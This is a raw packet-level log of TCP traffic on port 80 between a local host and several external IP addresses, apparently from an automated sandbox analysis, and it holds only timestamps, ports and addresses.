Jul 27, 2023 21:52:44.099039078 CEST	49763	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:52:44.195458889 CEST	80	49770	211.1.226.67	192.168.2.4
Jul 27, 2023 21:52:44.195542097 CEST	80	49770	211.1.226.67	192.168.2.4
Jul 27, 2023 21:52:44.195719004 CEST	49770	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:52:44.277312040 CEST	49770	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:52:44.512190104 CEST	49771	80	192.168.2.4	66.94.119.160
Jul 27, 2023 21:52:44.554905891 CEST	80	49770	211.1.226.67	192.168.2.4
Jul 27, 2023 21:52:44.555114985 CEST	49770	80	192.168.2.4	211.1.226.67
Jul 27, 2023 21:52:44.638514996 CEST	80	49771	66.94.119.160	192.168.2.4
Jul 27, 2023 21:52:44.638614893 CEST	49771	80	192.168.2.4	66.94.119.160
Jul 27, 2023 21:52:44.653271914 CEST	49771	80	192.168.2.4	66.94.119.160
Jul 27, 2023 21:52:44.779223919 CEST	80	49771	66.94.119.160	192.168.2.4
Jul 27, 2023 21:52:44.779889107 CEST	80	49771	66.94.119.160	192.168.2.4
Jul 27, 2023 21:52:44.780038118 CEST	49771	80	192.168.2.4	66.94.119.160
Jul 27, 2023 21:52:44.903372049 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:44.904633999 CEST	49771	80	192.168.2.4	66.94.119.160
Jul 27, 2023 21:52:44.919672012 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:44.919837952 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:44.949934959 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:44.966758013 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.031733036 CEST	80	49771	66.94.119.160	192.168.2.4
Jul 27, 2023 21:52:45.031877041 CEST	49771	80	192.168.2.4	66.94.119.160
Jul 27, 2023 21:52:45.603496075 CEST	80	49744	104.196.26.65	192.168.2.4
Jul 27, 2023 21:52:45.603650093 CEST	49744	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:52:45.620471954 CEST	49773	80	192.168.2.4	122.128.109.107
Jul 27, 2023 21:52:45.824065924 CEST	80	49773	122.128.109.107	192.168.2.4
Jul 27, 2023 21:52:45.824295998 CEST	49773	80	192.168.2.4	122.128.109.107
Jul 27, 2023 21:52:45.839839935 CEST	49773	80	192.168.2.4	122.128.109.107
Jul 27, 2023 21:52:45.971632004 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971681118 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971713066 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971745014 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971775055 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971781969 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.971782923 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.971810102 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971853018 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971853018 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.971853971 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.971889973 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971904039 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.971921921 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971931934 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.971956968 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.971957922 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.971982002 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.972024918 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.972353935 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.972408056 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.972434044 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.972439051 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.972465038 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.972474098 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.972506046 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.972507954 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.972532034 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.972598076 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.973340988 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.973376989 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.973409891 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.973432064 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.973443031 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.973464966 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.973464966 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.973476887 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.973503113 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.973613977 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.974220037 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.974293947 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.974298954 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.974332094 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.974364996 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.974368095 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.974396944 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.974397898 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.974425077 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.974535942 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.975239038 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.975274086 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.975306034 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.975315094 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.975339890 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.975342989 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.975364923 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.975372076 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.975395918 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.975462914 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.988114119 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.988164902 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.988260984 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.988260984 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.988362074 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.988404989 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.988445044 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.988447905 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.988477945 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.988492966 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.988507032 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.988537073 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.988559961 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.988590002 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.989214897 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.989258051 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.989295959 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.989300013 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.989326954 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.989341974 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.989367008 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.989384890 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.989404917 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.989500046 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.990166903 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.990211964 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.990243912 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.990256071 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.990268946 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.990299940 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.990320921 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.990344048 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.990371943 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.990406990 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.991107941 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.991159916 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.991199017 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.991208076 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.991226912 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.991255999 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.991272926 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.991305113 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.991321087 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.991369009 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.992131948 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.992180109 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.992204905 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.992228031 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.992234945 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.992299080 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.992299080 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.992347956 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.992363930 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.992413044 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.993051052 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.993100882 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.993132114 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.993149042 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.993158102 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.993195057 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.993211031 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.993243933 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.993261099 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.993311882 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.993978977 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.994028091 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.994050980 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.994074106 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.994082928 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.994118929 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.994137049 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.994163990 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.994182110 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.994235039 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.994940996 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.994992018 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.995013952 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.995039940 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.995047092 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.995088100 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.995101929 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.995136976 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.995150089 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.995203972 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.995879889 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.995929003 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.995954990 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.995975971 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.995991945 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.996053934 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.996468067 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.996515989 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.996536970 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.996562958 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.996570110 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.996611118 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.996627092 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.996659040 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.996665001 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.996716022 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.997431040 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.997478008 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.997503996 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.997524977 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.997539043 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.997570992 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.997590065 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.997620106 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.997637033 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.997684956 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.998402119 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.998467922 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.998512983 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.998529911 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.998562098 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.998570919 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.998570919 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.998610973 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:45.998625040 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:45.998677015 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.004699945 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.004740000 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.004815102 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.004815102 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.004988909 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005028009 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005058050 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.005064964 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005084991 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.005103111 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005136967 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.005141020 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005162954 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.005211115 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.005824089 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005892992 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.005911112 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005960941 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.005980968 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.006012917 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.006026030 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.006051064 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.006083965 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.006110907 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.006716967 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.006769896 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.006789923 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.006834984 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.006902933 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.006942987 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.006970882 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.006980896 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.006994009 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.007049084 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.007683039 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.007720947 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.007757902 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.007781982 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.007791042 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.007827044 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.007858992 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.007863998 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.007883072 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.007935047 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.012450933 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.012499094 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.012531996 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.012547970 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.012556076 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.012593031 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.012614965 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.012643099 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.012666941 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.012706041 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.013421059 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013470888 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013514996 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013561010 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013607025 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013648033 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.013679028 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013705015 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.013745070 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013756990 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.013814926 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013864040 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013912916 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.013961077 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014008999 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014056921 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014087915 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.014116049 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.014703989 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014772892 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014821053 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014868975 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014892101 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.014919043 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.014947891 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.014981031 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.015609980 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.015659094 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.015696049 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.015706062 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.015726089 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.015754938 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.015779018 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.015804052 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.015818119 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.015876055 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.015959024 CEST	49774	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.016428947 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.016493082 CEST	80	49772	172.67.70.223	192.168.2.4
Jul 27, 2023 21:52:46.016505957 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.016552925 CEST	49772	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:52:46.043344021 CEST	80	49773	122.128.109.107	192.168.2.4
Jul 27, 2023 21:52:46.044083118 CEST	80	49773	122.128.109.107	192.168.2.4
Jul 27, 2023 21:52:46.044198036 CEST	49773	80	192.168.2.4	122.128.109.107
Jul 27, 2023 21:52:46.144577026 CEST	80	49774	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.144737005 CEST	49774	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.232312918 CEST	49774	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.361270905 CEST	80	49774	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.362149954 CEST	80	49774	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.362299919 CEST	49774	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.362971067 CEST	80	49774	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.363029003 CEST	49774	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.391098022 CEST	49774	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.435168028 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.436460972 CEST	49776	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.454797029 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.454909086 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.455565929 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.455750942 CEST	49777	80	192.168.2.4	64.125.133.18
Jul 27, 2023 21:52:46.474968910 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.519745111 CEST	80	49774	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.519954920 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.520057917 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.520060062 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.520107031 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.520127058 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.520154953 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.520169020 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.520201921 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.520211935 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.520248890 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.520279884 CEST	49775	80	192.168.2.4	193.70.68.254
